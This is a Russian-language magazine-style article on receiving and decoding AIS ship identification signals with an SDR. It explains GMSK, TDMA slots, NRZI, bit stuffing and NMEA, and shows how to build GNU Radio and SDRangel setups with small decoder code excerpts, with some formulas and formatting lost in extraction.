При получении сигнал s(t) передается на два смесителя, где он умножает‐
ся на  два ортогональных сигнала:  и  , где wc  —
это угловая частота несущей. После умножения получается два сигнала:

cos(wc * t) sin(wc * t)

Далее нужно отфильтровать нижние частоты. Для этого оба сигнала пропус‐
каются через фильтры низких частот ФНЧ, чтобы удалить высокочастотные
составляющие, оставляя только базовую полосу сигналов:

После обработки необходимо сформировать комплексный сигнал:

В GMSK информация передается через изменение частоты, а  изменение
частот приводит к  непрерывным изменениям фазы. Следовательно,
для  демодуляции данных достаточно вычислить фазы двух сигналов. Начать
стоит с детекции мгновенной фазы, для этого отделим мгновенную фазу сиг‐
нала r(t):

Теперь можно получить частотную девиацию, которая и  будет показывать
изменения частоты, а точнее, фазы.

T — период выборки.
Изменения разностной фазы, которые мы получили в конце, соответству‐

ют передаваемым данным. Учитывая прошлое значение фазы, можно
получить данные о текущем символе.

Хоть GMSK и  изменяет частоту, изменение частоты напрямую изменяет
фазу. Чистая частотная модуляция означает, что мгновенная фаза изменяет‐
ся со  скоростью, пропорциональной мгновенной частоте, следовательно,
детектирование изменений фазы позволяет восстановить информацию
из сигнала.

СЛОТЫ

Настало время поговорить о временных слотах в AIS. Как бы мы ни ужимали
ширину спектра при  передаче, канала все равно не  будет хватать из‑за
количества кораблей. Чтобы исправить это, в  AIS интегрировали систему
TDMA (Time Division Multiple Access), которая позволяет делить доступ
к передаче по времени между судами. В AIS подразумевается ограниченное
количество слотов. Для каждого канала выведено 2250 слотов каждую минуту,
то есть 4500 слотов на оба канала.

TDMA в AIS

Каждая система AIS автоматически адаптируется к количеству используемых
слотов в конкретном регионе, это позволяет существенно снизить сложность
приема. Бывает, все слоты перегружены, на этот случай приемники AIS зап‐
рограммированы таким образом, чтобы принимать данные от наиболее близ‐
ких кораблей. Это сделано для избежания столкновений.

Как и  во всех системах, у  TDMA есть еще  подсистемы, которые исполь‐
зуются в разных случаях и в разных устройствах.

SOTDMA
Начнем с  SOTDMA (Self Organised Time Division Multiple Access). Это  самая
сложная схема TDMA для доступа к AIS. В SOTDMA все станции должны иметь
четкое и  синхронизированное время. Это  решается благодаря синхрониза‐
ции по GNSS, что позволяет точно делить слоты во времени.

При передаче данных SOTDMA в  пакете содержится информация о  сле‐
дующих передачах, это позволяет другим приемникам составлять карту сло‐
тов и эффективно выбирать для передачи свободные. Соответственно, важ‐
ная особенность реализации передатчиков  — это  возможность выбирать
свободный слот, чтобы не мешать другим. И, как следствие, каждая станция
должна уметь перестраивать свои слоты под  реалии текущего региона.
В одной точке свободны будут одни слоты, а при переходе в другую будут уже
совершенно другие.

SOTDMA разработана с учетом того, что наступит момент, когда свобод‐
ных слотов не  останется, тогда включается механизм повторного исполь‐
зования слота. Приемник в этом случае обязан принимать только сигнал бли‐
жайших кораблей. Все эти требования также оборачиваются наличием тре‐
бований к  оборудованию, таких как  определенное количество оперативной
памяти, мощность процессора и другие характеристики.

Подробнее — в стандарте ITU-R M.1371-4.

RATDMA
RATDMA — Random Access Time Division Multiple Access. Как понятно из наз‐
вания, этот вид TDMA используется, когда нужно выбрать случайный слот.
Этот метод нужен в  основном сначала, когда передатчик только входит
в регион, или же для передачи неповторяющихся сообщений, например тек‐
стовых данных. Как  и в  SOTDMA, требуется синхронизация по  времени
для всех устройств TDMA. Для синхронизации используется GNSS.

Передатчик с  RATDMA выбирает по  своей внутренней карте случайный
слот, который не  используется другой станцией. Он не  анонсирует задей‐
ствование этого слота, просто отправляет через него данные. Главное отли‐
чие RATDMA от SOTDMA — RA не анонсирует следующие передачи и слоты,
что не  позволяет другим станциям определить занятые слоты. Из‑за этой
особенности RATDMA невозможно использовать для периодической переда‐
чи.

Подробнее — в стандарте ITU-R M.1371-4.

ITDMA
ITDMA — Incremental Time Division Multiple Access. Время здесь все еще син‐
хронизируется по GNSS. Станции, использующие ITDMA, опираются на внут‐
реннюю карту слотов и выбирают случайный свободный слот. После выбора
устройство с ITDMA анонсирует передачу в выбранном слоте. ITDMA исполь‐
зуется, когда станции нужно передать изменение во времени периодических
передач или  же анонсировать непериодическое сообщение, например тек‐
стовое сообщение, связанное с  безопасностью. ITDMA не  используется
как  отдельная схема для  доступа в  систему AIS, в  основном она дополняет
SOTDMA. Главное отличие от RATDMA — в анонсировании передачи.

Подробнее — в стандарте ITU-R M.1371-4.

FATDMA
FATDMA  — Fixed Access Time Division Multiple Access. Система похожа
на обычную SOTDMA, но отличается тем, что данные о слоте загружены нап‐
рямую в передатчик, то есть слоты всегда статичны для любого случая. Как и
в  прошлых схемах, требуется синхронизация времени по  GNSS. При  входе
в регион станции FATDMA транслируют сообщение о своих слотах, чтобы дру‐
гие станции могли знать, какие из них заняты. Из‑за статичных слотов исполь‐
зование FATDMA стараются свести к минимуму, чтобы не мешать динамичес‐
кой работе AIS.

Подробнее — в стандарте ITU-R M.1371-4.

CSTDMA
CSTDMA — Carrier Sense Time Division Multiple Access. В данном случае син‐
хронизация с  временем выполняется не  по GNSS, так что система связи
с GNSS в CSTDMA не нужна. Станции, использующие CSTDMA, непрерывно
следят за каналами AIS, чтобы находить свободные слоты и использовать их.
Если станция CSTDMA видит, что никто не  использует слот, она отправляет
данные и отключает передачу на 30 с, после этого повторяет все шаги. Важно
заметить, что станции этого типа не могут анонсировать слоты. Они не тре‐
буют сложных компонентов и используются на маленьких судах.

Подробнее — в стандарте ITU-R M.1371-4.

PATDMA
PATDMA — модифицированная версия SOTDMA, разработанная специально
для  систем, которые могут только транслировать данные, например SART.
Время синхронизируется по GNSS. Каждые 8 мин станция выбирает случай‐
ный слот для  передачи, это  делается для  того, чтобы увеличить шансы быть
услышанной. В  самой передаче восемь пакетов данных, которые содержат
разные данные.

Подробнее — в стандарте ITU-R M.1371-4.

Устройства и их совместимость с типами TDMA
Перейдем к  связи типов и  устройств. Общую информацию можно получить,
изучив картинку ниже.

Типы TDMA и устройства, которые их используют

Класс А
Устройства класса А, как самые дорогие и технически сложные, могут исполь‐
зовать три самые сложные схемы доступа к  слотам: SOTDMA, RATDMA
и ITDMA. SOTDMA используется почти для всех периодических сигналов, нап‐
ример данных о позиции. RATDMA и  ITDMA используются при входе в новый
регион для начальной передачи и резервации слотов. RATDMA также исполь‐
зуется для  передачи коротких сообщений. ITDMA используется для  анон‐
сирования изменений в передаче.

Класс Б
В устройствах класса Б можно заметить CS и  SO, это  два разных типа,
которые расшифровываются как Carrier Sense и Self Organising соответствен‐
но. CS могут использовать только CSTDMA, а SO используют схемы доступа
класса А, но с некоторыми ограничениями в мощностях.

Наземные станции
Наземные станции используют FATDMA и  RATDMA. Слоты FATDMA настра‐
иваются отдельно и  передаются другим приемникам с  помощью анонсов.
RATDMA используется для передачи коротких непериодических сообщений.

ATON
ATON работают с FATDMA и RATDMA, в зависимости от начальной конфигура‐
ции устройства. ATON первого типа работают только с FATDMA. Такая схема
доступа требует наличия рядом наземной станции, которая будет анон‐
сировать слоты для  ATON. ATON третьего типа может как  принимать, так
и  передавать данные, так что для  передачи данных подойдет RATDMA
или FATDMA.

SART
Спасательные передатчики SART используют только PATDMA.

ФОРМАТЫ И КОДИРОВАНИЕ СИГНАЛОВ

Про слоты мы уже поговорили, теперь необходимо определиться с форматом
и типами сообщений в AIS. Для начала отмечу, что длительность каждого сло‐
та в  передаче  — 26,66  мс. Можно определить максимальную длину сооб‐
щения для скорости 9600 бит/с.

При округлении получаем ровно  256  бит информации на  каждый слот.
Но сообщения на самом деле могут быть длиннее и занимать до пяти слотов,
в  таком случае флаг окончания будет передан только через время, которое
будет больше 26,66. Перед отправкой такого большого сообщения передат‐
чик должен сообщить о нем.

Перейдем непосредственно к  формату сообщения. Оно модулируется
в  GMSK, а  значит, при  демодуляции мы получаем последовательность
битовых данных. Это не случайная последовательность.

Формат сообщения AIS

Разберем поля основного сообщения и данных.
 — стабилизация передатчика и отсчетов.• Ramp Up

 — преамбула сообщения, которая необходима для определе‐

ния начала. Это последовательность битов, которая одинакова для каждой
передачи. В  бесконечном потоке нулей и  единиц помогает найти начало
сообщений.

• Preamble

  — начало данных, флаг, который указывает, что дальше
находятся данные.

• Start Flag

 — данные сообщения.• Data Message

 — проверка целостности сообщения, его хеш.• FCS

 — конец данных, указывает, что дальше данных нет.• End Flag

  — используется для  NRZI, битовых вставок, синхронизации при‐

емников и других внутренних обработок.

• Buffer

Важно упомянуть, что AIS работает с  кадрами протокола HDLC (High-Level
Data Link Control). Это протокол канального уровня сетевой модели OSI.

Формат HDLC работает с флагами «стоп» и «старт», и у них есть специаль‐
ные последовательности. Например, 01111110 — это сигналы «старт» и «стоп».
Но что, если такая последовательность встретится в самих данных AIS? Чтобы
этого избежать, после пяти единиц вставляют один ноль, что позволяет
разорвать такие последовательности. Так как  NRZI  — это  основа передачи
в AIS, разберемся с ним подробнее.

NRZI
NRZI (Non Return to Zero Invertive) — способ кодирования данных для переда‐
чи через канал. Битовая последовательность превращается в код, в котором
не  будет длинных непереходящих сигналов, например десяти единиц
или  нулей подряд. Это  необходимо для  того, чтобы приемник всегда
понимал, когда изменяется сигнал, и  корректно мог принять любое сооб‐
щение, не сбиваясь. Как работает NRZI, видно на следующей картинке.

Кодирование NRZI

Если обобщить кодирование, то получается следующее правило: логическая
единица представляется изменением уровня сигнала, а  логический ноль
представляется отсутствием изменения уровня сигнала.

Возьмем простой сигнал с  картинки: 0101. Для  его кодирования в  NRZI
необходимо начать с самого начала. Первый у нас 0, значит, в NRZI-кодиро‐
вании это  будет низкий уровень сигнала, так как  изменения нет. Дальше
идет  1, уровень сигнала NRZI уже высокий, так как  произошло изменение.
Затем идет 0, и уровень сигнала остался высоким, так как следующий символ
оказался 0, а изменения требует только единица. Ну и последний символ —
1 требует изменения сигнала, поэтому в конце будет низкий уровень.

На примере кода 11111 видно, что сигнал всегда изменяется, так как еди‐
ница всегда требует изменения сигнала. Декодировать NRZI можно, срав‐
нивая прошлое и  текущее состояние сигнала. Важно учесть, что
перед  отправлением пакета AIS он весь кодируется с  помощью NRZI, даже
преамбула.

Алгоритм декодирования NRZI можно проанализировать в коде GNU AIS,
там показан самый примитивный и эффективный вариант.

        for (i = 0; i < len; i++) {
         out = filtered[i];
           curr = (out > 0);

              if ((curr ^ rx->prev) == 1) { // Детектирование пересечения 
нуля

                 if (rx->pll < (0x10000 / 2)) {
                   rx->pll += rx->pllinc / INC;

             } else {
                   rx->pll -= rx->pllinc / INC;

           }
       }

         rx->prev = curr;

         rx->pll += rx->pllinc;

           if (rx->pll > 0xffff) {
           /* slice */

               bit = (out > 0);
           /* nrzi decode */

               b = !(bit ^ rx->lastbit);
           /* feed to the decoder */

             protodec_decode(&b, 1, rx->decoder);

             rx->lastbit = bit;
             rx->pll &= 0xffff;

       }
   }

Авторы детектируют пересечение нуля и  декодируют сообщение на  основе
прошлых значений. Также тут учтено несколько особенностей. Если пересе‐
чение нуля происходит раньше чем 1/2 периода символа, то период в rx->pll
расширяется на 1/16 от периода семплирования, а если случается наоборот,
то период уменьшается. Такой алгоритм сам себя подстраивает, что доволь‐
но эффективно.

Bit stuffing
Итак, раньше упоминалось, что при передаче данных в AIS могут встретиться
системные последовательности. Например, в  теле сообщения может
появиться последовательность Stop Flag, которая означает конец передачи,
но на самом деле ею не является. Чтобы избежать таких проблем, была раз‐
работана система, которая добавляет нули в специальные места сообщения,
тем самым сбивая последовательности единиц. Выглядит это  следующим
образом: если в битовом потоке будет больше пяти единиц, то после них дол‐
жен быть добавлен ноль.

0011111101011 — исходные данные

0011111[0]101011 — данные с bit stuffing


Как видно в  примере, ноль разорвал непрерывные единицы. Как  работают
декодеры с bit stuffing, можно также изучить на примере исходного кода GNU
AIS.

 case ST_DATA:
             if (d->bitstuff) {

                   if (in[i] == 1) {
                     d->state = ST_STOPSIGN;
                     d->ndata = 0;

                    DBG(printf("%d", in[i]));
                     d->bitstuff = 0;

                 } else {
                   d->ndata++;

                     d->last = in[i];
                     d->bitstuff = 0;

               }
             } else {

                       if (in[i] == d->last && in[i] == 1) {
                   d->antallenner++;
                   // Если на счетчике уже 4 (5), то выставляем 
bitstuff в 1

                       if (d->antallenner == 4) {
                         d->bitstuff = 1;

                         d->antallenner = 0;
                   }

                } else
                     d->antallenner = 0;

                DBG(printf("%d", in[i]));

                 d->buffer[d->bufferpos] = in[i];
               d->bufferpos++;
               d->ndata++;

                   if (d->bufferpos >= 449) {
                   protodec_reset(d);
               }
           }
           break;

Тут обрабатывается два варианта: в первом случае последовательность еди‐
ниц расценивается как обычные данные, если после пяти единиц идет ноль.
В другом варианте если после пяти единиц идет единица, то последователь‐
ность считается стоп‑флагом и чтение фрейма останавливается.

NMEA и формат передачи
Системы AIS могут передавать данные как внутри корабля, например от дат‐
чика к главной системе, так и между кораблями и другими объектами. Данные
от приемника AIS и от датчиков корабля передаются в формате NMEA 0183,
это  стандарт связи для  морского оборудования. Данные в  этом формате
можно получить, подключившись к  терминалу AIS. Важно заметить, что этот
формат не  используется в  передаче, при  приеме приемник конвертирует
бинарные данные в NMEA.

Данные в таком формате выглядят следующим образом:

!AIVDM,1,1,,A,155uT`0000Su4vt>MGIUPH4d08<Q,0*02


Все символы в сообщении всегда должны быть в читаемом диапазоне. Раз‐
берем формат NMEA.

  — тип сообщения,   — для  данных, полученных с  другого
устройства,  — данные с датчиков корабля;

• !AIVDM !AIVDM

!AIVDO

 — количество данных, для некоторых сообщений нужно больше 1, мак‐
симум 9;

• 1

 — номер сообщения, если их несколько;• 1

пропуск — идентификатор сообщения, если их несколько;•
 — канал AIS, A или B;• A

 — данные AIS в AIS-ASCII6;• 155uT'0000Su4vt>MGIUPH4d08<Q

 — конец данных;• 0*

 — чек‑сумма.• 02

Формат сообщения NMEA понятен, но в самом сообщении NMEA есть и дру‐
гие свойства, такие как  тип сообщения, идентификатор передатчика,
зарезервированные под bit stuffing поля и состояние репитера. Длина сооб‐
щения NMEA тоже может варьироваться. Чтобы ты лучше понял структуру
составных сообщений, приведу пример сообщений с  разными номерами,
но относящихся к одному предложению.

!AIVDM,2,1,1,,59@>k542E5M@CH7?CC@aT4pG:
2222222222222167P9785@e000c@@PPDp888,0*66

!AIVDM,2,2,1,,8888888880,2*5c


Как видно, у  этих сообщений в  поле «Количество данных» стоит  2, номер
сообщений разный, а  идентификатор  — один, так как  они оба относятся
к одному сообщению.

Поговорим о том, как расшифровать сообщение NMEA для его обработки.
Выглядит сообщение как набор случайных символов, но на самом деле оно
закодировано с  использованием AIS-ASCII6. AIS-ASCII6  — это  таблица, где
каждый символ означает определенный набор битов.

Таблица ASCII6

Продолжение статьи
→

https://sterva.org/modulations.txt


ЭЙ, НА БОРТУ!
ПЕРЕХВАТЫВАЕМ И РАЗБИРАЕМ

СИГНАЛ AIS — СИСТЕМЫ
ИДЕНТИФИКАЦИИ КОРАБЛЕЙ

GEEK 
НАЧАЛО СТАТЬИ←

Первый шаг для  декодирования  — перевод всех символов в  их бинарное
представление. Если мы возьмем первое сообщение, то  155  из  его начала
можно представить как 000001 000101 000101. Первые 6 бит сообщения, то
есть первый символ, показывают тип сообщения, в  данном случае
это  000001  — первый тип. Всего известно  27  типов сообщения, все их
перечислять нет смысла, можно посмотреть в  документе на  сайте
allaboutais.com ( ). Основные типы  — это  1, 2  и  3, которые отвечают
за автоматическую передачу позиции.

PDF

Следом идут  2  бита типа повтора, то есть сколько раз сообщение будет
повторяться. 0 — обычное интервальное сообщение, 3 — сообщение больше
не  будет повторяться. Следом  — номер MMSI, уникальный идентификатор
оборудования, по которому можно определить тип передатчика и другие осо‐
бенности.

Это основные поля, которые всегда есть во всех сообщениях. Остальные
поля могут меняться в зависимости от типа сообщения, ты можешь изучить их
в  документах по  AIS. В  общем случае передача транспондеров класса А  с
данными о  позиции имеет структуру, описанную в  начале статьи. Эта струк‐
тура используется при передаче.

На этом углубляться в  форматы закончим и  перейдем непосредственно
к записи и изучению реальных сигналов.

MSB и LSB
Перед кодированием и  демодуляцией поговорим вот об  этом пункте
в документации:

«
»

When data is output on  the VHF data link it should be grouped in bytes
of 8 bits from top to bottom of  the table associated with each message
in accordance with ISO/IEC 13239:2002. Each byte should be output with
least significant bit first. During the output process, data should be subject
to bit-stuffing (see § 3.2.2) and NRZI coding (see § 2.6).

То есть при приеме данных с VHF необходимо сгруппировать данные по 8 бит
в  байты и  вывести их, начиная с  LSB. Разница между LSB и  MSB хорошо
показана на следующей картинке.

LSB и MSB

Следовательно, нужно конвертировать вывод данных из  MSB в  LSB после
приема и, соответственно, в MSB из LSB при передаче. Это важно учитывать.
Также можно найти интересный код в  GNU AIS, который авторы почему‑то
обозначили как  . Этот код как  раз и  отвечает за  кон‐

вертацию MSB в LSB перед проверкой CRC.

/* what is this? */

   /* what is this? */
          buf = (unsigned char *) hmalloc(sizeof(*buf) * buflen);
           for (j = 0; j < buflen; j++) {

         tmp = 0;
              for (i = 0; i < 8; i++)

                   tmp |= (((d->buffer[i + 8 * j]) << (i)));
        printf("tmp: %d\n", tmp);

         buf[j] = tmp;
   }

   /* ok, here’s the actual CRC calculation */
        unsigned short crc = protodec_sdlc_crc(buf, buflen);
   //DBG(printf("CRC: %04x\n",crc));

   /* what is this? */
     memset(d->rbuffer, 0, DEMOD_BUFFER_LEN);
           for (j = 0; j < length_bytes; j++) {

               for (i = 0; i < 8; i++) {
                 x = j * 8 + i;
               if (x >= DEMOD_BUFFER_LEN) {

                hlog(LOG_ERR, "protodec_calculate_crc: would run 
over rbuffer length");
               hfree(buf);

                return 0;
             } else {

                       d->rbuffer[x] = (buf[j] >> (7 - i)) & 1;
           }
       }
   }

Сначала в  цикле все группируется в  байты, потом, после проверки CRC,
обратно в биты уже в нужном порядке вывода. В массиве  уже пра‐

вильная последовательность, которую можно парсить по  структуре, описан‐
ной выше.

rbuffer

Кодирование сигнала
Остановимся на кодировании сигнала, чтобы систематизировать схему. Пер‐
воначально у нас есть какая‑то информация, далее кодируем ее для переда‐
чи и  декодируем после приема. Общая схема кодирования таких данных
для передачи AIS выглядит так: BIN → MSB/LSB → BIT STUFFING → NRZI →
GMSK.

Схема для  приема будет следующей: GMSK → NRZI → BIT STUFFING →
LSB/MSB → BIN → NMEA.

ЗАПИСЫВАЕМ СИГНАЛ

Наконец‑то после небольшого ликбеза, который, кстати, еще  можно много
чем дополнить, переходим к  практике. Начать стоит с  записи сигнала,
который мы будем исследовать. Лучше всего записывать сигнал где‑то в бли‐
жайшем порту, там можно получить данные не  только с  кораблей, но  и
с  наземных станций. Для  записи можно использовать разные средства,
начиная от HackRF PortaPack и заканчивая дорогими SDR. Я использую в сво‐
их экспериментах BladeRF, так что все действия будут в  основном описаны
для этого SDR. Мой опыт ты можешь легко спроецировать на HackRF и RTL-
SDR. Давай соберем в GNU Radio схему для записи сигнала с двух каналов
AIS в файл.

Схема GNU Radio для записи в файл

Схема состоит из  четырех основных элементов, два из  которых отвечают
за  вывод информации на  экран. Начинается все с  Osmocom Source, где
в  качестве аргумента передано , что дает блоку понять тип

источника, в  данном случае это  BladeRF. Частота на  нулевом канале выс‐
тавлена в  162  МГц, а  ширина канала  — в  200  кГц. Частота семплирования
(sample rate) в  моем случае  2 MSPS, минимальное же значение для  AIS
находится где‑то около 48 тысяч, но советую брать 1 MSPS как стандартное
значение.

bladerf=0

Такие настройки позволяют записать сразу оба канала, в будущем мы раз‐
делим их на два отдельных файла для анализа. Блок File Sink отвечает за сох‐
ранение данных в файл. Два других блока — Frequency Sink и Waterfall Sink —
помогают понять, верно ли идет запись сигнала. При правильной настройке
и хорошей антенне ты должен находить следующие сигналы на Waterfall.

Вид Waterfall при записи сигнала

На изображении видны сигналы слева и справа от нулевой частоты, это и есть
наши данные AIS с двух каналов. Когда данных наберется достаточно, оста‐
новить запись можно будет, закрыв окно с  водопадом, или  же напрямую
из GNU Radio, нажав кнопку Stop.

ДЕМОДУЛЯЦИЯ

Для демодуляции и  декодирования AIS есть множество проектов на  GitHub
и  на форумах, посвященных радио. Все такие проекты работают довольно
просто: нужно либо подключить твой SDR, либо запустить записанный файл.
Все это  не очень интересно. В  этой статье мы попробуем сделать демоду‐
лятор в GNU Radio, конвертировать данные из IQ-сигнала в IQ-файл для GNU
AIS и изучим, как работает SDRangel, на примере демодуляции и декодирова‐
ния AIS.

SDRangel
SDRangel  — это  программа, созданная для  управления SDR-устройствами.
В  ней можно принимать, демодулировать, декодировать, анализировать
самые разные сигналы. Программа удобная и работает на всех системах.

Интерфейс SDRangel

Преобразование IQ в WAV
Перед изучением нашей записи в  SDRangel необходимо преобразовать ее
в  формат либо WAV, либо SDRIQ. SDRangel работает только с  этими двумя
форматами. Самый простой вариант  — преобразовать исходный файл RAW
IQ из GNU Radio в двухканальный WAV. В первом канале будет реальная часть
комплексного числа, а во второй — мнимая. IQ-файл состоит только из ком‐
плексных чисел, так что перед сохранением их нужно разделить.

Используем следующую схему для GNU Radio.

Преобразование RAW IQ в WAV

После запуска должен появиться WAV-файл. В блоке Wav File Sink нужно выб‐
рать два канала, так как сохранять мы собираемся именно в два канала. Блок
Complex To Float преобразует комплексное число в re и  im (реальную и мни‐
мую части) и передает их в каналы WAV-файла. Теперь можно перейти непос‐
редственно к SDRangel.

Демодуляция и декодирование AIS
Для начала работы можно использовать подготовленный специально для AIS
рабочий стол SDRangel. Найти его можно на  вкладке Prefereneces →
Configurations → AIS. Опять же это не очень весело и познавательно, поэтому
сделаем все с нуля. Для начала нужно добавить источник сигнала. Это дела‐
ется с помощью кнопки Add RX Device. Далее выбираем источник File Source
и нажимаем «Добавить».

Добавление источника в SDRangel

После этого на  рабочем пространстве появится два окна, одно с  управле‐
нием источников, а второе — с его визуализацией. Для добавления нашего
файла в  источник нажимаем на  кнопку с  изображением файла и  выбираем
WAV-файл. Теперь при  запуске во  втором окне должно появиться изоб‐
ражение водопада для нашего файла.

Waterfall для источника в SDRangel

Теперь к  уже готовому источнику можно подключить демодуляторы для  AIS.
Так как у нас файл с двумя каналами, нам нужно добавить два демодулятора
для  двух разных частот: один для  –25  кГц, второй  — для  +25  кГц. Сделать
это можно, нажав кнопку Add Channels в блоке, где ты выбирал файл.

Далее в меню выбираем AIS Demodulator и так делаем два раза. На экране
появятся два новых экрана, которые можно разместить на  рабочем прос‐
транстве как угодно. После добавления двух демодуляторов нужно настроить
сдвиг частоты для каждого. У одного ставим -25000, а у второго 25000. В ито‐
ге должно получиться что‑то следующего вида.

SDRangel — демодулятор и декодер AIS

Как видно на  скриншотах, SDRangel уже успешно демодулировал и  декоди‐
ровал несколько сообщений AIS. Так как SDRangel не поддерживает все виды
сообщений, не мешало бы получить их в сыром виде для дальнейшей обра‐
ботки. Этим мы и займемся с помощью GNU Radio.

GNU Radio
Самое интересное, изюминка и  жемчужина статьи  — демодуляция в  GNU
Radio. Без  использования дополнительного программного обеспечения,
без готовых демодуляторов с GitHub и так далее. Только базовые блоки GNU
Radio!

Исследуем сигнал
Вспомним, что в файле записаны сразу два канала AIS, следовательно, если
мы хотим демодулировать их одновременно, нужно сдвинуть демодулятор
в  две разные стороны, желательно отфильтровать часть шумов. Для  таких
манипуляций в GNU Radio есть блок с названием Frequency Xlating FIR Filter,
что можно перевести как частотно‑сдвигающий КИХ‑фильтр (фильтр с конеч‐
ной импульсной характеристикой). По названию понятно, что этот вид филь‐
тров может и сдвигать, и фильтровать сигнал. Также этот блок может ресем‐
плировать сигнал, нам это необходимо.

Далее нужно еще более точно ресемплировать сигнал для точной GMSK-
демодуляции, делаем это  с помощью блока Rational Resampler. Нам нужны
оба блока для  ресемплирования, если мы хотим получить сложное число
семплов для точного GMSK-демодулирования.

После сдвига и  фильтрации можно переходить непосредственно
к демодуляции, в GNU Radio есть отдельный блок для GMSK — GMSK Demod,
но  для квадратурных модуляций можно использовать также Quadrature
Demod. Так как  после GMSK у  нас будет код NRZI, его тоже можно сразу
декодировать в GNU Radio, это стало возможно в недавних версиях.

Разберем теперь три основных блока: FIR Filter, Rational Resampler и GMSK
Demod.

Frequency Xlating FIR Filter

FIR Filter и его настройки в GNU Radio

В самом фильтре есть пять основных параметров:
тип входных данных;•
децимация для ресемплирования;•
taps, или вектор преобразования;•
сдвиг частоты;•
частота семплирования исходного сигнала.•

Если мы хотим использовать этот фильтр не только для сдвига и децимации,
необходимо добавить вектор преобразования. Значение в  поле децимации
используется как  знаменатель для  ресемплирования. Например, если
исходная частота семплирования была  2  000  000, то при  зна‐
чении 20 на выходе мы получим 2 000 000/20 = 100 000. В примере настройки
на  скриншоте центральная частота стоит -25e3, что значит –25  на  10  в  сте‐
пени –3. Это сдвиг на первый канал AIS.

Изучим taps и визуальный пример работы фильтра.

Работа FIR-фильтра

На картинке видно, что фильтр сдвигает сигнал на нулевую частоту, при этом
фильтруя его. Но фильтрует он очень хитро — с помощью вектора преобра‐
зования, который в нашем случае будет выглядеть следующим образом.

     firdes.low_pass(1, samp_rate, 15000, 20000, window.WIN_HAMMING, 1)

Это фильтр нижних частот, который выглядит как  вызов функции. Для  объ‐
яснения его работы изучим его аргументы. Первым идет коэффициент уси‐
ления; так как усиливать ничего не нужно, он указан как 1. Далее — частота
семплирования в  виде переменной. Два следующих аргумента  — частота
среза и  ширина переходной области, в  данном случае частоты
ниже 15 000 будут пропускаться, а частоты выше — подавляться.

Ширина переходной области  — это  ширина области, в  которой фильтр
переходит от  пропускания к  подавлению. Далее идет оконная функция,
в  нашем случае это  окно Хэмминга. Последний аргумент не  играет роли
для Хэмминга, но отвечает за форму окна для других оконных функций. Окон‐
ные функции используются для  сглаживания спектров, за  счет сглаживания
краев данных при обработке сигналов.

Rational Resampler

Блок Rational Resampler

Следующий важный для ресемплирования блок — Rational Resampler. Чтобы
получить более точную частоту семплирования, например если нужно целое
число выборок на  символ (как в  нашем случае), простым делением иногда
не  обойтись. У  Rational Resampler есть два параметра: интерполяция
и децимация. При ресемплировании сигнала исходная частота семплирова‐
ния сначала умножается на  интерполяцию, а  потом делится на  децимацию.
Таким образом можно вычислить и подогнать частоту под наши нужды.

GMSK Demod

Блок GMSK Demod

Это главный блок, который отвечает непосредственно за демодуляцию и син‐
хронизацию сигнала. На  самом деле этот блок состоит из  квадратурного
демодулятора и синхронизации символов для восстановления их паттернов.
Квадратурную демодуляцию я рассмотрел выше, и мы еще о ней поговорим
при составлении схемы для GNU Radio.

Основные параметры это Samples/Symbol — количество выборок на сим‐
вол, именно под  этот параметр мы подгоняли частоту семплирования
и параметр Gain Mu, который отвечает за саму демодуляцию и подбирается
опытным путем. Как  видно, на  входе у  этого блока комплексные числа, а  на
выходе получаем уже демодулированные биты, которые можно либо сох‐
ранить в файл, либо обработать.

Схема для GMSK Demod
Давай соберем простую двухканальную схему для демодуляции AIS на основе
GMSK Demod.

Двухканальный демодулятор для AIS

Схема читается слева направо. Начальный блок File Source читает данные
из ранее записанного файла. В настройках блока я указал Repeat: Yes, чтобы
файл повторялся после конца. Далее идет разделение на  два канала,
с помощью КИХ‑фильтров. Первый фильтр дает смещение на –25 кГц, а вто‐
рой на  +25  кГц. Добавлю, что начальная частота семплирования
была  2  000  000  выборов в  секунду, но  после КИХ‑фильтров с  децима‐
тором 20 она равна 100 000, так как 2 000 000/20 = 100 000.

Далее идет ресемплер, наша задача  — получить более двух выборок
на  символ в  GMSK-демодуляторе. Скорость передачи данных в  AIS  —
9600 бит/с, то есть для минимальной работы GMSK-демодулятора нам нуж‐
но  9600 * 2 = 19  200  семплов в  секунду. Для  лучшей работы я опирался
на 9600 * 4, то есть 38 400.

Чтобы получить такое ровное число на выходе, нужно найти решение урав‐
нения следующего вида:

Продолжение статьи
→

http://www.allaboutais.com/jdownloads/Technical%20fundamentals/ais_message_list.pdf
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Подставляя эти коэффициенты, получим нужное количество семплов на сим‐
вол в  GMSK Demod. Сам блок GMSK Demod я опытным путем настроил
на  значение  500e-3  для  Gain Mu. Если будешь собирать свою схему, поп‐
робуй значения от  300e-3  до  500e-3, пока не  начнет появляться преамбула
и стартовый флаг. Оба эти параметра и методы отладки я опишу ниже.

После блока GMSK Demod в  каждом канале добавлен блок для  сох‐
ранения данных до  декодирования NRZI, потом идет блок декодирования
NRZI и  опять сохранение файла. Это  было сделано для  анализа работы
декодера NRZI.

Методы отладки
Так как  любая схема требует отладки, рассмотрим настройку этой схемы
с  использованием простого скрипта на  Python и  любого текстового редак‐
тора. Для отладки внимательно пересчитываем Sample Rate до GMSK Demod
и  проверяем параметр выборок на  символ в  GMSK Demod. Следующий
шаг  — подбор верного значения Gain Mu, для  этого нужно несколько раз
демодулировать файл с разными значениями от 300e-3 до 500e-3 и изучить
содержимое вывода. Так как на выходе получается бинарный файл и искать
по  нему в  текстовом документе неудобно, я разработал скрипт, конверти‐
рующий файл в текстовый формат.

#!/usr/bin/python3

 import argparse

 def read_bits_from_file(file_path):
       with open(file_path, 'rb') as file:

         byte = file.read(1)
        while byte:
              if byte == b'\x00':

                yield 0
              elif byte == b'\x01':

                yield 1
           else:
               exit(1)

             byte = file.read(1)

 def main():
     parser = argparse.ArgumentParser(description='Process a binary 
file')
     parser.add_argument('file_path', type=str, help='Path to the 
binary file')

     args = parser.parse_args()

     bit_stream = read_bits_from_file(args.file_path)

       with open('result_conversion', 'a') as f:
          for bit in bit_stream:

           f.write(str(bit))

   if __name__ == '__main__':
   main()

После конвертации файла с  демодулированными значениями важно вспом‐
нить структуру сообщений в AIS. Важные ее компоненты — преамбула и стар‐
товый флаг, которые всегда равны одному значению. Я рекомендую исполь‐
зовать именно преамбулу и стартовый флаг вместе. Из‑за того что преамбу‐
ла  — это  последовательность повторяющихся символов, иногда ее можно
найти даже в шумах. Итак, преамбула — это 24 бита, выглядят они вот так:

010101010101010101010101


Стартовый флаг — 8 бит:

01111110


Если соединить оба этих значения, то получим следующее значение:

01010101010101010101010101111110


